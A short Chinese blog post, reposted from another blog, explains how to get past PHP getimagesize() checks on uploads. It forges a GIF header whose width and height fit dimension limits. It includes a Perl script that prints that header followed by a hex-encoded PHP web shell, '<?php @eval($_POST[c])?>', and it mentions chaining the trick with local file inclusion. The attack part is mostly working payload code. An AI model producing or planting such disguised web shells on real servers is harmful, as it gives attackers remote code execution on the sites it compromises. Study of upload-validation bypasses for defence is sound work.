Bypass getimagesize()函数缺陷
转自：cooldiyer's blog

很多php代码都用getimagesize()来判断你上传文件是不是图片，很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码：

if(getimagesize($file)){
print yes;
}else{
print no;
}

但是有很多的情况还有其他的限制，比如分辨率n x n 如以下代码：

if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
if ($size['0'] > 100 || $size['1'] > 100) {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";

先看看gif文件头：

00000000h: 47 49 46 38 39 61 AB 02 E5 03 B3 00 00 00 80 00 ; GIF89a???..?.
G I F 8 9 a $size['0'] $size['1']
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997

perl代码：

#!/usr/bin/perl
#The Script could pass getimagesize()

#gif size: 99x98 pixels
$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
"\x63\x00".#99
"\x62\x00";#98

$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval

($_POST[c])?>

print $gifhead.$phpcode;

应该说getimagesize只是一部分检测 这样要和其他漏洞配合，比如本地包含 一般上穿严格限制了文类型 还用getimagesize判断是不是图片 。
比如：http://www.4ngel.net/article/57.htm